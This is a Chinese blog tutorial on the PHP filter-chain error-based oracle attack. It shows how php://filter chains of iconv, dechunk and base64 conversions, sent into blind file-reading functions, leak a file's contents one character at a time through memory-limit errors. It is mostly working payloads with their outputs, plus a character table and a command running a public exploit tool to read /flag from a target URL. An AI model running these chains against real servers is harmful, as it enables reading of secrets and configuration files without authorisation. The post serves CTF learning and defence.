基于oracle的文件读取攻击

基于oracle的文件读取攻击

前提:

有些函数读取文件但不输出内容,这时可利用侧信道攻击,利用报错来爆破文件内容

如:

<?php file($_POST[0]);

这里列出所有受影响函数:

md5_file($_POST[0]);

sha1_file($_POST[0]);

hash_file('md5', $_POST[0]);

file($_POST[0]);

parse_ini_file($_POST[0]);

copy($_POST[0], '/tmp/test');

file_put_contents($_POST[0], "");

$file = fopen($_POST[0], "r"); stream_get_contents($file);

$file = fopen($_POST[0], "r"); fgets($file);

$file = fopen($_POST[0], "r"); fread($file, 10000);

$file = fopen($_POST[0], "r"); fgetc($file);

$file = fopen($_POST[0], "r"); fgetcsv($file, 1000, ",");

$file = fopen($_POST[0], "r"); fpassthru($file);

$file = fopen($_POST[0], "rw"); fputs($file, 0);

总体攻击步骤:

1:通过iconv函数编码导致php产生内存报错

2:利用dechunk来确定文件第一个字符

3:利用能改变字节顺序的编码,利用iconv将剩余字符与第一个字符交换

通过iconv函数编码导致php产生内存报错 :

convert.iconv过滤器会固定用四个字节表示一个字符,最低有效字节放前面,而正常ascll码一个字符就是一字节,而php默认读取文件不能超过128M,再大就会报错,也就是说,不断使用convert.iconv会导致报错

例:

php://filter/convert.iconv.<source-encoding>.<target-encoding>/resource=<filename>

利用dechunk来确定文件第一个字符:

dechunk:因为对于http中的chunk编码是以16进制来表长度的,所以16进制字符范围在a-fA-F0-9这个范围内,dechunk仅能对这些字符处理,否则返回空,那么可以跟前面的iconv结合

当前flag文件首字母为a
var_dump(file_get_contents("php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE/resource=flag"));
不报错
再加一层
var_dump(file_get_contents("php://filter/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE/resource=flag"));
报错
var_dump(file_get_contents("php://filter/dechunk/convert.base64-encode|convert.base64-encode|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE/resource=flag"));
不报错

这样就可以判断第一个字符是否在a-fA-F0-9这个范围内

泄露剩余字节:

处理前4个字节:

convert.iconv.CSUNICODE.UCS-2BE这个编码规则,将unicode转成ucs-2BE,利用这个编码规则我们可以前后交换每两个字节的位置:

var_dump(file_get_contents("php://filter/convert.iconv.CSUNICODE.UCS-2BE/resource=data:,abcdefgh"));
string:"badcfehg"

使用 convert.iconv.UCS-4LE.10646-1:1993 我们可以将每四个字节的位置逆序:

var_dump(file_get_contents("php://filter/convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdefgh"));
string:"dcbahgfe"

先用convert.iconv.UCS-4LE.10646-1:1993就可以判断第四个字符,然后再用convert.iconv.CSUNICODE.UCS-2BE就可以判断第三个,或者顺序颠倒也行

处理剩余字节:
var_dump(file_get_contents("php://filter/convert.iconv.CSUNICODE.UCS-2BE|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdefgh"));
string:"cdabghef"

PHP再处理BASE64字符串时会完全忽略非法字符,我们可以通过一些编码规则来将非法字符添加到字符串最前端,再利用前面说的组合交换顺序,再利用base64decode清除非法字符即可完成把后续字符交换到前面的操作了.

例如convert.iconv.CSUNICODE.CSUNICODE 编码规则,它可以将字符串最前端加上0xff0xfe:

var_dump(file_get_contents("php://filter/convert.iconv.CSUNICODE.CSUNICODE/resource=data:,abcdef"));
string;"��abcdef"

// 使用 r4 进行移位
var_dump(file_get_contents("php://filter/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdef"));
string:"ba��fedc"

// 使用 base64 去掉冗余位
var_dump(file_get_contents("php://filter/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode/resource=data:,abcdef"));
string:"bafedQ=="

// 再次使用 r4 交换位置
var_dump(file_get_contents("php://filter/convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdef"));
string:"efab==Qd"

但是由于convert.iconv.UCS-4LE.10646-1:1993处理字符串长度必须是四的倍数,所以还需额外处理

利用等号补位:
var_dump(file_get_contents("php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7/resource=data:,=="));
//"+---AD0-3D3D+---AD0-3D3D"

上面这个东西会固定将两个=转化为+—AD0-3D3D+—AD0-3D3D。那么原字符串就有:4n-2+24 = 4*(n+5) + 2,再填充两个非法字符刚好是12的倍数,

那么就可以:

// 将等号进行转换
var_dump(file_get_contents("php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7/resource=data:,abcdefghij=="));
string(34) "abcdefghij+---AD0-3D3D+---AD0-3D3D"

// 在前端添加冗余字符串
var_dump(file_get_contents("php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE/resource=data:,abcdefghij=="));
string(36) "��abcdefghij+---AD0-3D3D+---AD0-3D3D"

// 使用 r4
var_dump(file_get_contents("php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993/resource=data:,abcdefghij=="));
string(36) "ba��fedcjihg---+-0DAD3D3---+-0DAD3D3"

// 去除冗余
var_dump(file_get_contents("php://filter/convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode/resource=data:,abcdefghij=="));
string(28) "bafedcjihg+0DAD3D3+0DAD3Dw=="

这四步叫一个flip操作

可以观察到规律,每次使用flip+convert.iconv.UCS-4LE.10646-1:1993都会使字符前进4个字符位置那么对第n个字符可以进行n/4次flip+convert.iconv.UCS-4LE.10646-1:1993再进行微调

但以上的所有的理论都来自于一个条件,那就是一个拥有两个等号的base64字符串,如果我们将文件内容进行base64编码后并没有两个等号的话,以上就不成立了.

convert.quoted-printable-encode:这个编码会将一个=编码成=3D,从一个字节变成了3个字节,而对其他数字字母并不会生效,这样就可以利用是否发生内存错误判断字符串是否有等号

convert.iconv..CSISO2022KR:这个编码可以让字符串base64后的=号状态转移(0到1到2循环)

那么我们使用convert.quoted-printable-encode和convert.iconv..CSISO2022KR判断出没有=号的base64编码后再补两个convert.iconv..CSISO2022KR即可得到有两个=的base64字符串

判断字符:

我们现在只能判断字符是否在一个大概范围内,我们接下来的目的就是设法准确判断第一个字节.

rot1 = 'convert.iconv.437.CP930':会将字母向后移动一位,但是只对部分字母有效,初步测试为 a-h 范围,不包括数字,其他字母会有其他规则 i->q

rot13 = 'string.rot13':向后移动 13 位

tolower = 'string.tolower':将大写字母转换成小写

对于a-e,可根据使用rot1导致不报错的rot1使用次数判断

对于f:除使用rot1外需额外使用convert.iconv.CP1390.CSIBM932区分f与数字(将f清空,将数字转化为不可见字符)

i-k:使用rot1转化为q-s,再用rot13转化为d-f判断

v-x:rot13转成i-k再判断

n-s:rot13转为a-f判断

那么就剩下g,h,l,m,t,u,y,z和0-9

可以有base64编码后再判断。将字符提至首位后其ascii表的值转化为二进制后的前六位可以确定一个固定的首字符,以后两位开头的六位二进制可转化为的base64字符也是有限的,下面给出表

字符 首base64字符 第二位base64字符的可能值
g Z w, x, y, z, 0–9, +, /
h a A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P
l b A–P
m b Q, R, S, T, U, V, W, X, Y, Z, a, b, c, d, e, f
t d A–P
u d Q–f
y e Q–f
z e g, h, i, j, k, l, m, n, o, p, q, r, s, t, u, v
0 M A–P
1 M Q–f
2 M g–v
3 M w–z, 0–9, +, /
4 N A–P
5 N Q–f
6 N g–v
7 N w–z, 0–9, +, /
8 O A–P
9 O Q–f

那么就结束了,很牢对吧,有没有更简单方法?

有的,这里给出一把梭工具:

https://github.com/synacktiv/php_filter_chains_oracle_exploit

指令:python .filters_chain_oracle_exploit.py –target http://12.0.0.7:8080 –parameter a –file /flag –time_based_attack True –match "Allowed memory size"

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇